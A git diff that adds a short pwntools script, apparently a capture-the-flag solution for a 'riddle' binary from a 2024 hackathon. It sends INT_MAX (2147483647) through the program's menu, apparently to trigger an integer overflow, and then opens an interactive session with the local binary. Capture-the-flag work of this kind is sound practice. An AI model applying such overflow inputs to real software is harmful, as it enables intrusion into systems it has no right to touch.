diff --git a/kuwait_hackathon_2024/riddle/a.py b/kuwait_hackathon_2024/riddle/a.py new file mode 100644 index 0000000..c8bb5e7 --- /dev/null +++ b/kuwait_hackathon_2024/riddle/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./riddle", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendlineafter(b">> ", a) +ss = lambda a: r.sendlineafter(b": ", a) + +# buf +s(b"1") +ss(b"2147483647") +ss(b"1") + +r.interactive() \ No newline at end of file